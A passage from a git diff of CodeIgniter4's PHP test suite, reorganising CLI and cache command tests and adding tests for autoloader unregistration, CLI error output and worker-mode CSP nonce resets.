a/tests/_support/Test/TestForReflectionHelper.php b/tests/_support/Test/TestForReflectionHelper.php index b277509aebdf..b354d87b9761 100644 --- a/tests/_support/Test/TestForReflectionHelper.php +++ b/tests/_support/Test/TestForReflectionHelper.php @@ -28,6 +28,11 @@ public static function getStaticPrivate() return self::$static_private; } + public static function resetStaticPrivate(): void + { + self::$static_private = 'xyz'; + } + private function privateMethod($param1, $param2) // @phpstan-ignore method.unused { return 'private ' . $param1 . $param2; diff --git a/tests/_support/_command/ListCommands.php b/tests/_support/_command/ListCommands.php index fe1c9611a222..5b73548d89de 100644 --- a/tests/_support/_command/ListCommands.php +++ b/tests/_support/_command/ListCommands.php @@ -13,36 +13,30 @@ namespace App\Commands; +use CodeIgniter\CLI\BaseCommand; use CodeIgniter\CLI\CLI; -use CodeIgniter\Commands\ListCommands as BaseListCommands; -class ListCommands extends BaseListCommands +/** + * @internal + */ +final class ListCommands extends BaseCommand { /** - * The group the command is lumped under - * when listing commands. - * * @var string */ protected $group = 'App'; /** - * The Command's name - * * @var string */ protected $name = 'list'; /** - * the Command's short description - * * @var string */ protected $description = 'This is testing to override `list` command.'; /** - * the Command's usage - * * @var string */ protected $usage = 'list'; diff --git a/tests/system/AutoReview/CreateNewChangelogTest.php b/tests/system/AutoReview/CreateNewChangelogTest.php index b6a89e047f88..6b22fe0d9012 100644 --- a/tests/system/AutoReview/CreateNewChangelogTest.php +++ b/tests/system/AutoReview/CreateNewChangelogTest.php @@ -27,23 +27,6 @@ final class CreateNewChangelogTest extends TestCase { private string $currentVersion; - public static function setUpBeforeClass(): void - { - parent::setUpBeforeClass(); - - if (getenv('GITHUB_ACTIONS') !== false) { - exec('git fetch --unshallow 2>&1', $output, $exitCode); - exec('git fetch --tags 2>&1', $output, $exitCode); - - if ($exitCode !== 0) { - self::fail(sprintf( - "Failed to fetch git history and tags.\nOutput: %s", - implode("\n", $output), - )); - } - } - } - protected function setUp(): void { parent::setUp(); @@ -65,56 +48,71 @@ protected function setUp(): void #[DataProvider('provideCreateNewChangelog')] public function testCreateNewChangelog(string $mode): void { - $output = exec('git status --porcelain | wc -l'); - - if ($output !== '0') { + $currentVersion = $this->currentVersion; + $newVersion = $this->incrementVersion($currentVersion, $mode); + $versionWithoutDots = str_replace('.', '', $newVersion); + $changelogPath = "./user_guide_src/source/changelogs/v{$newVersion}.rst"; + $upgradePath = "./user_guide_src/source/installation/upgrade_{$versionWithoutDots}.rst"; + $trackedPathArgs = implode(' ', array_map(escapeshellarg(...), [ + './system/CodeIgniter.php', + './user_guide_src/source/changelogs/index.rst', + './user_guide_src/source/installation/upgrading.rst', + ])); + $generatedPathArgs = implode(' ', array_map(escapeshellarg(...), [ + $changelogPath, + $upgradePath, + ])); + $statusCount = trim((string) exec( + "git status --porcelain -- {$trackedPathArgs} {$generatedPathArgs} | wc -l", + )); + + if ($statusCount !== '0') { $this->markTestSkipped('You have uncommitted operations that will be erased by this test.'); } - $currentVersion = $this->currentVersion; - $newVersion = $this->incrementVersion($currentVersion, $mode); - - exec( - sprintf('php ./admin/create-new-changelog.php %s %s --dry-run', $currentVersion, $newVersion), - $output, - $exitCode, - ); - - $this->assertSame(0, $exitCode, "Script exited with code {$exitCode}. Output: " . implode("\n", $output)); - - $this->assertStringContainsString( - "public const CI_VERSION = '{$newVersion}-dev';", - $this->getContents('./system/CodeIgniter.php'), - ); - - $this->assertFileExists("./user_guide_src/source/changelogs/v{$newVersion}.rst"); - $this->assertStringContainsString( - "Version {$newVersion}", - $this->getContents("./user_guide_src/source/changelogs/v{$newVersion}.rst"), - ); - $this->assertStringContainsString( - "**{$newVersion} release of CodeIgniter4**", - $this->getContents("./user_guide_src/source/changelogs/v{$newVersion}.rst"), - ); - $this->assertStringContainsString( - $newVersion, - $this->getContents('./user_guide_src/source/changelogs/index.rst'), - ); - - $versionWithoutDots = str_replace('.', '', $newVersion); - $this->assertFileExists("./user_guide_src/source/installation/upgrade_{$versionWithoutDots}.rst"); - $this->assertStringContainsString( - "Upgrading from {$currentVersion} to {$newVersion}", - $this->getContents("./user_guide_src/source/installation/upgrade_{$versionWithoutDots}.rst"), - ); - $this->assertStringContainsString( - "upgrade_{$versionWithoutDots}", - $this->getContents('./user_guide_src/source/installation/upgrading.rst'), - ); - - // cleanup added and modified files - exec('git restore .'); - exec('git clean -fd'); + try { + $output = []; + + exec( + sprintf('php ./admin/create-new-changelog.php %s %s --dry-run', $currentVersion, $newVersion), + $output, + $exitCode, + ); + + $this->assertSame(0, $exitCode, "Script exited with code {$exitCode}. Output: " . implode("\n", $output)); + + $this->assertStringContainsString( + "public const CI_VERSION = '{$newVersion}-dev';", + $this->getContents('./system/CodeIgniter.php'), + ); + + $this->assertFileExists($changelogPath); + $this->assertStringContainsString( + "Version {$newVersion}", + $this->getContents($changelogPath), + ); + $this->assertStringContainsString( + "**{$newVersion} release of CodeIgniter4**", + $this->getContents($changelogPath), + ); + $this->assertStringContainsString( + $newVersion, + $this->getContents('./user_guide_src/source/changelogs/index.rst'), + ); + + $this->assertFileExists($upgradePath); + $this->assertStringContainsString( + "Upgrading from {$currentVersion} to {$newVersion}", + $this->getContents($upgradePath), + ); + $this->assertStringContainsString( + "upgrade_{$versionWithoutDots}", + $this->getContents('./user_guide_src/source/installation/upgrading.rst'), + ); + } finally { + exec("git restore -- {$trackedPathArgs}"); + exec("git clean -f -- {$generatedPathArgs}"); + } } /** diff --git a/tests/system/AutoReview/FrameworkCodeTest.php b/tests/system/AutoReview/FrameworkCodeTest.php index 137839b024e5..de515fffebf6 100644 --- a/tests/system/AutoReview/FrameworkCodeTest.php +++ b/tests/system/AutoReview/FrameworkCodeTest.php @@ -107,17 +107,9 @@ private static function getTestClasses(): array $testClasses = array_map( static function (SplFileInfo $file) use ($directory): string { - $relativePath = substr_replace( - $file->getPathname(), - '', - 0, - strlen($directory), - ); - $relativePath = substr_replace( - $relativePath, - '', - strlen($relativePath) - strlen(DIRECTORY_SEPARATOR . $file->getBasename()), - ); + $relativePath = substr($file->getPathname(), strlen($directory)); + $separatorPos = strrpos($relativePath, DIRECTORY_SEPARATOR); + $relativePath = $separatorPos === false ? '' : substr($relativePath, 0, $separatorPos); return sprintf( 'CodeIgniter\\%s%s%s', @@ -128,17 +120,15 @@ static function (SplFileInfo $file) use ($directory): string { }, array_filter( iterator_to_array($iterator, false), + // Filename-based heuristic: avoids the is_subclass_of() cold-autoload issue + // by only considering files that end with "Test.php" or "TestCase.php". static fn (SplFileInfo $file): bool => $file->isFile() + && (str_ends_with($file->getBasename(), 'Test.php') || str_ends_with($file->getBasename(), 'TestCase.php')) && ! str_contains($file->getPathname(), DIRECTORY_SEPARATOR . 'fixtures' . DIRECTORY_SEPARATOR) && ! str_contains($file->getPathname(), DIRECTORY_SEPARATOR . 'Views' . DIRECTORY_SEPARATOR), ), ); - $testClasses = array_filter( - $testClasses, - static fn (string $class): bool => is_subclass_of($class, TestCase::class), - ); - sort($testClasses); self::$testClasses = $testClasses; diff --git a/tests/system/Autoloader/AutoloaderTest.php b/tests/system/Autoloader/AutoloaderTest.php index cd73356958fe..be22e4a403f1 100644 --- a/tests/system/Autoloader/AutoloaderTest.php +++ b/tests/system/Autoloader/AutoloaderTest.php @@ -123,6 +123,45 @@ public function testServiceAutoLoaderFromShareInstances(): void $this->assertSame($expected, $actual); } + public function testUnregisterRemovesClosuresFromSplStack(): void + { + $countBefore = count(spl_autoload_functions()); + + $config = new Autoload(); + $modules = new Modules(); + $modules->discoverInComposer = false; + $config->psr4 = ['CodeIgniter' => SYSTEMPATH]; + + $loader = new Autoloader(); + $loader->initialize($config, $modules)->register(); + + $this->assertCount($countBefore + 2, spl_autoload_functions()); + + $loader->unregister(); + + $this->assertCount($countBefore, spl_autoload_functions()); + } + + public function testUnregisterRemovesAllClosuresAfterMultipleRegistrations(): void + { + $countBefore = count(spl_autoload_functions()); + + $config = new Autoload(); + $modules = new Modules(); + $modules->discoverInComposer = false; + $config->psr4 = ['CodeIgniter' => SYSTEMPATH]; + + $loader = new Autoloader(); + $loader->initialize($config, $modules)->register(); + $loader->register(); + + $this->assertCount($countBefore + 4, spl_autoload_functions()); + + $loader->unregister(); + + $this->assertCount($countBefore, spl_autoload_functions()); + } + public function testServiceAutoLoader(): void { $autoloader = service('autoloader', false); @@ -367,17 +406,12 @@ public function testComposerPackagesOnlyAndExclude(): void public function testFindsComposerRoutesWithComposerPathNotFound(): void { - $composerPath = COMPOSER_PATH; - $config = new Autoload(); $modules = new Modules(); $modules->discoverInComposer = true; - $loader = new Autoloader(); - - rename(COMPOSER_PATH, COMPOSER_PATH . '.backup'); + $loader = new Autoloader('/nonexistent/path/autoload.php'); $loader->initialize($config, $modules); - rename(COMPOSER_PATH . '.backup', $composerPath); $namespaces = $loader->getNamespace(); $this->assertArrayNotHasKey('Laminas\\Escaper', $namespaces); diff --git a/tests/system/CLI/BaseCommandTest.php b/tests/system/CLI/BaseCommandTest.php new file mode 100644 index 000000000000..143851dee9ce --- /dev/null +++ b/tests/system/CLI/BaseCommandTest.php @@ -0,0 +1,104 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\CLI; + +use CodeIgniter\CLI\Exceptions\CLIException; +use CodeIgniter\CodeIgniter; +use CodeIgniter\Log\Logger; +use CodeIgniter\Test\CIUnitTestCase; +use CodeIgniter\Test\StreamFilterTrait; +use PHPUnit\Framework\Attributes\After; +use PHPUnit\Framework\Attributes\Before; +use PHPUnit\Framework\Attributes\CoversClass; +use PHPUnit\Framework\Attributes\Group; +use Tests\Support\Commands\AppInfo; + +/** + * @internal + */ +#[CoversClass(BaseCommand::class)] +#[CoversClass(CLIException::class)] +#[Group('Others')] +final class BaseCommandTest extends CIUnitTestCase +{ + use StreamFilterTrait; + + #[After] + #[Before] + protected function resetCli(): void + { + CLI::reset(); + } + + public function testRunCommand(): void + { + $command = new AppInfo(single_service('logger'), single_service('commands')); + + $this->assertSame(0, $command->run([])); + $this->assertSame( + sprintf("\nCodeIgniter Version: %s\n", CodeIgniter::CI_VERSION), + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } + + public function testCallingOtherCommands(): void + { + $command = new AppInfo(single_service('logger'), single_service('commands')); + + $this->assertSame(0, $command->helpMe()); + $this->assertStringContainsString('Displays basic usage information.', $this->getStreamFilterBuffer()); + } + + public function testShowError(): void + { + $command = new AppInfo(single_service('logger'), single_service('commands')); + + $this->assertSame(1, $command->bomb()); + $this->assertStringContainsString('[CodeIgniter\CLI\Exceptions\CLIException]', $this->getStreamFilterBuffer()); + $this->assertStringContainsString('Invalid "background" color: "Background".', $this->getStreamFilterBuffer()); + } + + public function testShowHelp(): void + { + $command = new AppInfo(single_service('logger'), single_service('commands')); + $command->showHelp(); + + $this->assertSame( + <<<'EOT' + + Usage: + app:info [arguments] + + Description: + Displays basic application information. + + Arguments: + draft unused + + EOT, + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } + + public function testMagicGetAndIsset(): void + { + $command = new AppInfo(single_service('logger'), single_service('commands')); + + $this->assertInstanceOf(Logger::class, $command->logger); + $this->assertInstanceOf(Commands::class, $command->commands); + $this->assertSame('demo', $command->group); + $this->assertSame('app:info', $command->name); + $this->assertNull($command->foo); // @phpstan-ignore property.notFound + } +} diff --git a/tests/system/CLI/CLITest.php b/tests/system/CLI/CLITest.php index 3dc3a20c43fe..9391eae05d27 100644 --- a/tests/system/CLI/CLITest.php +++ b/tests/system/CLI/CLITest.php @@ -21,6 +21,7 @@ use CodeIgniter\Test\StreamFilterTrait; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\Group; +use PHPUnit\Framework\Attributes\RequiresOperatingSystem; use ReflectionProperty; /** @@ -37,6 +38,7 @@ protected function setUp(): void Services::injectMock('superglobals', new Superglobals()); + CLI::reset(); CLI::init(); } @@ -393,16 +395,33 @@ public function testError(): void { CLI::error('test'); - // red expected cuz stderr - $expected = "\033[1;31mtest\033[0m" . PHP_EOL; + $expected = PHP_EOL . "\033[1;31mtest\033[0m" . PHP_EOL; $this->assertSame($expected, $this->getStreamFilterBuffer()); } + public function testMixedWriteError(): void + { + CLI::write('test 1'); + CLI::error('test 2'); + CLI::write('test 3'); + + $this->assertSame( + <<<'EOT' + + test 1 + test 2 + test 3 + + EOT, + preg_replace('/\e\[[^m]+m/u', '', $this->getStreamFilterBuffer()), + ); + } + public function testErrorForeground(): void { CLI::error('test', 'purple'); - $expected = "\033[0;35mtest\033[0m" . PHP_EOL; + $expected = PHP_EOL . "\033[0;35mtest\033[0m" . PHP_EOL; $this->assertSame($expected, $this->getStreamFilterBuffer()); } @@ -410,7 +429,7 @@ public function testErrorBackground(): void { CLI::error('test', 'purple', 'green'); - $expected = "\033[0;35m\033[42mtest\033[0m" . PHP_EOL; + $expected = PHP_EOL . "\033[0;35m\033[42mtest\033[0m" . PHP_EOL; $this->assertSame($expected, $this->getStreamFilterBuffer()); } @@ -576,6 +595,56 @@ public function testWindow(): void $this->assertIsInt(CLI::getWidth()); } + #[RequiresOperatingSystem('Darwin|Linux')] + public function testGenerateDimensionsDoesNotLeakSttyErrorToStderr(): void + { + $this->assertSame('', $this->captureGenerateDimensionsStderr()); + } + + #[RequiresOperatingSystem('Darwin|Linux')] + public function testGenerateDimensionsDoesNotLeakTputErrorToStderrWhenTermIsUnset(): void + { + $env = getenv(); + unset($env['TERM']); + + $this->assertSame('', $this->captureGenerateDimensionsStderr($env)); + } + + /** + * Spawns a child PHP process that calls `CLI::generateDimensions()` with + * `STDIN` pointed at `/dev/null` (forcing the non-TTY code path), and + * returns whatever it wrote to stderr. + * + * @param array|null $env Environment for the child process. + * `null` inherits the parent env. + */ + private function captureGenerateDimensionsStderr(?array $env = null): string + { + $code = <<<'PHP' + require __DIR__ . '/system/Test/bootstrap.php'; + CodeIgniter\CLI\CLI::generateDimensions(); + PHP; + + $cmd = sprintf('%s -r %s < /dev/null', PHP_BINARY, escapeshellarg($code)); + + $proc = proc_open( + $cmd, + [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], + $pipes, + ROOTPATH, + $env, + ); + $this->assertIsResource($proc); + + stream_get_contents($pipes[1]); + $stderr = stream_get_contents($pipes[2]); + fclose($pipes[1]); + fclose($pipes[2]); + proc_close($proc); + + return $stderr; + } + /** * @param array $tbody * @param array $thead diff --git a/tests/system/CLI/CommandsTest.php b/tests/system/CLI/CommandsTest.php new file mode 100644 index 000000000000..34bb0601da65 --- /dev/null +++ b/tests/system/CLI/CommandsTest.php @@ -0,0 +1,178 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\CLI; + +use CodeIgniter\Autoloader\FileLocatorInterface; +use CodeIgniter\Test\CIUnitTestCase; +use CodeIgniter\Test\StreamFilterTrait; +use Config\Services; +use PHPUnit\Framework\Attributes\After; +use PHPUnit\Framework\Attributes\Before; +use PHPUnit\Framework\Attributes\CoversClass; +use PHPUnit\Framework\Attributes\Group; +use RuntimeException; +use Tests\Support\Commands\AppInfo; + +/** + * @internal + */ +#[CoversClass(Commands::class)] +#[Group('Others')] +final class CommandsTest extends CIUnitTestCase +{ + use StreamFilterTrait; + + #[After] + #[Before] + protected function resetAll(): void + { + $this->resetServices(); + + CLI::reset(); + } + + private function copyAppListCommands(): void + { + if (! is_dir(APPPATH . 'Commands')) { + mkdir(APPPATH . 'Commands'); + } + + copy(SUPPORTPATH . '_command/ListCommands.php', APPPATH . 'Commands/ListCommands.php'); + } + + private function deleteAppListCommands(): void + { + if (is_file(APPPATH . 'Commands/ListCommands.php')) { + unlink(APPPATH . 'Commands/ListCommands.php'); + } + } + + public function testRunOnUnknownCommand(): void + { + $commands = new Commands(); + + $this->assertSame(EXIT_ERROR, $commands->run('app:unknown', [])); + $this->assertArrayNotHasKey('app:unknown', $commands->getCommands()); + $this->assertStringContainsString('Command "app:unknown" not found', $this->getStreamFilterBuffer()); + } + + public function testRunOnUnknownCommandButWithOneAlternative(): void + { + $commands = new Commands(); + + $this->assertSame(EXIT_ERROR, $commands->run('app:inf', [])); + $this->assertSame( + <<<'EOT' + + Command "app:inf" not found. + + Did you mean this? + app:info + + EOT, + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } + + public function testRunOnUnknownCommandButWithMultipleAlternatives(): void + { + $commands = new Commands(); + + $this->assertSame(EXIT_ERROR, $commands->run('app:', [])); + $this->assertSame( + <<<'EOT' + + Command "app:" not found. + + Did you mean one of these? + app:destructive + app:info + + EOT, + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } + + public function testRunOnAbstractCommandCannotBeRun(): void + { + $commands = new Commands(); + + $this->assertSame(EXIT_ERROR, $commands->run('app:pablo', [])); + $this->assertArrayNotHasKey('app:pablo', $commands->getCommands()); + $this->assertStringContainsString('Command "app:pablo" not found', $this->getStreamFilterBuffer()); + } + + public function testRunOnKnownCommand(): void + { + $commands = new Commands(); + + $this->assertSame(EXIT_SUCCESS, $commands->run('app:info', [])); + $this->assertArrayHasKey('app:info', $commands->getCommands()); + $this->assertStringContainsString('CodeIgniter Version', $this->getStreamFilterBuffer()); + } + + public function testDestructiveCommandIsNotRisky(): void + { + $this->expectException(RuntimeException::class); + + command('app:destructive'); + } + + public function testDiscoverCommandsDoNotRunTwice(): void + { + $locator = $this->createMock(FileLocatorInterface::class); + $locator + ->expects($this->once()) + ->method('listFiles') + ->with('Commands/') + ->willReturn([SUPPORTPATH . 'Commands/AppInfo.php']); + $locator + ->expects($this->once()) + ->method('findQualifiedNameFromPath') + ->with(SUPPORTPATH . 'Commands/AppInfo.php') + ->willReturn(AppInfo::class); + Services::injectMock('locator', $locator); + + $commands = new Commands(); // discoverCommands will be called in the constructor + $commands->discoverCommands(); + } + + public function testDiscoverCommandsWithNoFiles(): void + { + $locator = $this->createMock(FileLocatorInterface::class); + $locator + ->expects($this->once()) + ->method('listFiles') + ->with('Commands/') + ->willReturn([]); + $locator + ->expects($this->never()) + ->method('findQualifiedNameFromPath'); + Services::injectMock('locator', $locator); + + new Commands(); + } + + public function testDiscoveredCommandsCanBeOverridden(): void + { + $this->copyAppListCommands(); + + command('list'); + + $this->assertStringContainsString('This is App\Commands\ListCommands', $this->getStreamFilterBuffer()); + $this->assertStringNotContainsString('Displays basic usage information.', $this->getStreamFilterBuffer()); + + $this->deleteAppListCommands(); + } +} diff --git a/tests/system/Cache/Handlers/BaseTestFileHandler.php b/tests/system/Cache/Handlers/BaseTestFileHandler.php new file mode 100644 index 000000000000..105d648564b7 --- /dev/null +++ b/tests/system/Cache/Handlers/BaseTestFileHandler.php @@ -0,0 +1,64 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\Cache\Handlers; + +use Config\Cache; + +/** + * @internal + */ +final class BaseTestFileHandler extends FileHandler +{ + private static string $directory = 'FileHandler'; + private readonly Cache $config; + + public function __construct() + { + $this->config = new Cache(); + $this->config->file['storePath'] .= self::$directory; + + parent::__construct($this->config); + + helper('filesystem'); + } + + /** + * @return array{ + * name: string, + * server_path: string, + * size: int, + * date: int, + * readable: bool, + * writable: bool, + * executable: bool, + * fileperms: int, + * }|null + */ + public function getFileInfoTest(): ?array + { + $tmpHandle = tmpfile(); + stream_get_meta_data($tmpHandle); + + return get_file_info(stream_get_meta_data($tmpHandle)['uri'], [ + 'name', + 'server_path', + 'size', + 'date', + 'readable', + 'writable', + 'executable', + 'fileperms', + ]); + } +} diff --git a/tests/system/Cache/Handlers/FileHandlerTest.php b/tests/system/Cache/Handlers/FileHandlerTest.php index 16c6042be124..c4fa8481bbd4 100644 --- a/tests/system/Cache/Handlers/FileHandlerTest.php +++ b/tests/system/Cache/Handlers/FileHandlerTest.php @@ -399,51 +399,3 @@ public function testReconnect(): void $this->assertTrue($this->handler->reconnect()); } } - -/** - * @internal - */ -final class BaseTestFileHandler extends FileHandler -{ - private static string $directory = 'FileHandler'; - private readonly Cache $config; - - public function __construct() - { - $this->config = new Cache(); - $this->config->file['storePath'] .= self::$directory; - - parent::__construct($this->config); - - helper('filesystem'); - } - - /** - * @return array{ - * name: string, - * server_path: string, - * size: int, - * date: int, - * readable: bool, - * writable: bool, - * executable: bool, - * fileperms: int, - * }|null - */ - public function getFileInfoTest(): ?array - { - $tmpHandle = tmpfile(); - stream_get_meta_data($tmpHandle); - - return get_file_info(stream_get_meta_data($tmpHandle)['uri'], [ - 'name', - 'server_path', - 'size', - 'date', - 'readable', - 'writable', - 'executable', - 'fileperms', - ]); - } -} diff --git a/tests/system/CodeIgniterTest.php b/tests/system/CodeIgniterTest.php index e4bc8a9e2cd5..e5d371bfb941 100644 --- a/tests/system/CodeIgniterTest.php +++ b/tests/system/CodeIgniterTest.php @@ -30,6 +30,7 @@ use Config\Filters as FiltersConfig; use Config\Modules; use Config\Routing; +use Kint\Renderer\RichRenderer; use PHPUnit\Framework\Attributes\BackupGlobals; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\Group; @@ -1273,6 +1274,15 @@ public function testRouteAttributesDisabledInConfig(): void public function testResetForWorkerMode(): void { + $this->resetServices(); + + $appConfig = config(App::class); + $appConfig->CSPEnabled = true; + + RichRenderer::$js_nonce = 'stale-script-nonce'; + RichRenderer::$css_nonce = 'stale-style-nonce'; + RichRenderer::$needs_pre_render = false; + $config = new App(); $codeigniter = new MockCodeIgniter($config); @@ -1292,5 +1302,11 @@ public function testResetForWorkerMode(): void $this->assertNull($this->getPrivateProperty($codeigniter, 'controller')); $this->assertNull($this->getPrivateProperty($codeigniter, 'method')); $this->assertNull($this->getPrivateProperty($codeigniter, 'output')); + + $csp = service('csp'); + + $this->assertSame($csp->getScriptNonce(), RichRenderer::$js_nonce); + $this->assertSame($csp->getStyleNonce(), RichRenderer::$css_nonce); + $this->assertTrue(RichRenderer::$needs_pre_render); } } diff --git a/tests/system/Commands/BaseCommandTest.php b/tests/system/Commands/BaseCommandTest.php deleted file mode 100644 index 47ca2a6f6a1b..000000000000 --- a/tests/system/Commands/BaseCommandTest.php +++ /dev/null @@ -1,62 +0,0 @@ - - * - * For the full copyright and license information, please view - * the LICENSE file that was distributed with this source code. - */ - -namespace CodeIgniter\Commands; - -use CodeIgniter\Log\Logger; -use CodeIgniter\Test\CIUnitTestCase; -use PHPUnit\Framework\Attributes\Group; -use Tests\Support\Commands\AppInfo; - -/** - * @internal - */ -#[Group('Others')] -final class BaseCommandTest extends CIUnitTestCase -{ - private Logger $logger; - - protected function setUp(): void - { - parent::setUp(); - $this->logger = service('logger'); - } - - public function testMagicIssetTrue(): void - { - $command = new AppInfo($this->logger, service('commands')); - - $this->assertSame($command->group !== null, isset($command->group)); // @phpstan-ignore isset.property - } - - public function testMagicIssetFalse(): void - { - $command = new AppInfo($this->logger, service('commands')); - - $this->assertFalse(isset($command->foobar)); // @phpstan-ignore property.notFound - } - - public function testMagicGet(): void - { - $command = new AppInfo($this->logger, service('commands')); - - $this->assertSame('demo', $command->group); - } - - public function testMagicGetMissing(): void - { - $command = new AppInfo($this->logger, service('commands')); - - $this->assertNull($command->foobar); // @phpstan-ignore property.notFound - } -} diff --git a/tests/system/Commands/ClearCacheTest.php b/tests/system/Commands/Cache/ClearCacheTest.php similarity index 53% rename from tests/system/Commands/ClearCacheTest.php rename to tests/system/Commands/Cache/ClearCacheTest.php index e27978e40919..a5679b00b3d9 100644 --- a/tests/system/Commands/ClearCacheTest.php +++ b/tests/system/Commands/Cache/ClearCacheTest.php @@ -11,9 +11,11 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Cache; use CodeIgniter\Cache\CacheFactory; +use CodeIgniter\Cache\Handlers\FileHandler; +use CodeIgniter\CLI\CLI; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; use Config\Services; @@ -31,15 +33,29 @@ protected function setUp(): void { parent::setUp(); + CLI::reset(); + $this->resetServices(); + // Make sure we are testing with the correct handler (override injections) Services::injectMock('cache', CacheFactory::getHandler(config('Cache'))); } + protected function tearDown(): void + { + parent::tearDown(); + + CLI::reset(); + $this->resetServices(); + } + public function testClearCacheInvalidHandler(): void { command('cache:clear junk'); - $this->assertStringContainsString('junk is not a valid cache handler.', $this->getStreamFilterBuffer()); + $this->assertSame( + "\nCache driver \"junk\" is not a valid cache handler.\n", + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); } public function testClearCacheWorks(): void @@ -52,4 +68,23 @@ public function testClearCacheWorks(): void $this->assertNull(cache('foo')); $this->assertStringContainsString('Cache cleared.', $this->getStreamFilterBuffer()); } + + public function testClearCacheFails(): void + { + $cache = $this->getMockBuilder(FileHandler::class) + ->setConstructorArgs([config('Cache')]) + ->onlyMethods(['clean']) + ->getMock(); + $cache->expects($this->once())->method('clean')->willReturn(false); + + Services::injectMock('cache', $cache); + + command('cache:clear'); + Services::resetSingle('cache'); + + $this->assertSame( + "\nError while clearing the cache.\n", + preg_replace('/\e\[[^m]+m/', '', $this->getStreamFilterBuffer()), + ); + } } diff --git a/tests/system/Commands/InfoCacheTest.php b/tests/system/Commands/Cache/InfoCacheTest.php similarity index 98% rename from tests/system/Commands/InfoCacheTest.php rename to tests/system/Commands/Cache/InfoCacheTest.php index e8cc409356f5..44aa389338cc 100644 --- a/tests/system/Commands/InfoCacheTest.php +++ b/tests/system/Commands/Cache/InfoCacheTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Cache; use CodeIgniter\Cache\CacheFactory; use CodeIgniter\Test\CIUnitTestCase; diff --git a/tests/system/Commands/ClearLogsTest.php b/tests/system/Commands/ClearLogsTest.php deleted file mode 100644 index 28019d5d51f6..000000000000 --- a/tests/system/Commands/ClearLogsTest.php +++ /dev/null @@ -1,70 +0,0 @@ - - * - * For the full copyright and license information, please view - * the LICENSE file that was distributed with this source code. - */ - -namespace CodeIgniter\Commands; - -use CodeIgniter\Test\CIUnitTestCase; -use CodeIgniter\Test\StreamFilterTrait; -use PHPUnit\Framework\Attributes\Group; - -/** - * @internal - */ -#[Group('Others')] -final class ClearLogsTest extends CIUnitTestCase -{ - use StreamFilterTrait; - - private string $date; - - protected function setUp(): void - { - parent::setUp(); - - // test runs on other tests may log errors since default threshold - // is now 4, so set this to a safe distance - $this->date = date('Y-m-d', strtotime('+1 year')); - } - - protected function createDummyLogFiles(): void - { - $date = $this->date; - $path = WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$date}.log"; - - // create 10 dummy log files - for ($i = 0; $i < 10; $i++) { - $newDate = date('Y-m-d', strtotime("+1 year -{$i} day")); - $path = str_replace($date, $newDate, $path); - file_put_contents($path, 'Lorem ipsum'); - - $date = $newDate; - } - } - - public function testClearLogsWorks(): void - { - // test clean logs dir - $this->assertFileDoesNotExist(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); - - // test dir is now populated with logs - $this->createDummyLogFiles(); - $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); - - command('logs:clear -force'); - $result = $this->getStreamFilterBuffer(); - - $this->assertFileDoesNotExist(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . "log-{$this->date}.log"); - $this->assertFileExists(WRITEPATH . 'logs' . DIRECTORY_SEPARATOR . 'index.html'); - $this->assertStringContainsString('Logs cleared.', $result); - } -} diff --git a/tests/system/Commands/CommandOverrideTest.php b/tests/system/Commands/CommandOverrideTest.php deleted file mode 100644 index b21b7e0c6faa..000000000000 --- a/tests/system/Commands/CommandOverrideTest.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view - * the LICENSE file that was distributed with this source code. - */ - -namespace CodeIgniter\Commands; - -use CodeIgniter\Test\CIUnitTestCase; -use CodeIgniter\Test\StreamFilterTrait; -use PHPUnit\Framework\Attributes\Group; - -/** - * @internal - */ -#[Group('Others')] -final class CommandOverrideTest extends CIUnitTestCase -{ - use StreamFilterTrait; - - protected function setUp(): void - { - $this->resetServices(); - - parent::setUp(); - } - - protected function getBuffer(): string - { - return $this->getStreamFilterBuffer(); - } - - public function testOverrideListCommands(): void - { - $this->copyListCommands(); - - command('list'); - - $this->assertStringContainsString('This is App\Commands\ListCommands', $this->getBuffer()); - $this->assertStringNotContainsString('Displays basic usage information.', $this->getBuffer()); - - $this->deleteListCommands(); - } - - private function copyListCommands(): void - { - if (! is_dir(APPPATH . 'Commands')) { - mkdir(APPPATH . 'Commands'); - } - copy(SUPPORTPATH . '_command/ListCommands.php', APPPATH . 'Commands/ListCommands.php'); - } - - private function deleteListCommands(): void - { - unlink(APPPATH . 'Commands/ListCommands.php'); - } -} diff --git a/tests/system/Commands/CommandTest.php b/tests/system/Commands/CommandTest.php deleted file mode 100644 index 1c6e81033e63..000000000000 --- a/tests/system/Commands/CommandTest.php +++ /dev/null @@ -1,184 +0,0 @@ - - * - * For the full copyright and license information, please view - * the LICENSE file that was distributed with this source code. - */ - -namespace CodeIgniter\Commands; - -use CodeIgniter\CLI\Commands; -use CodeIgniter\Log\Logger; -use CodeIgniter\Test\CIUnitTestCase; -use CodeIgniter\Test\StreamFilterTrait; -use PHPUnit\Framework\Attributes\DataProvider; -use PHPUnit\Framework\Attributes\Group; -use Tests\Support\Commands\AppInfo; -use Tests\Support\Commands\ParamsReveal; - -/** - * @internal - */ -#[Group('Others')] -final class CommandTest extends CIUnitTestCase -{ - use StreamFilterTrait; - - private Logger $logger; 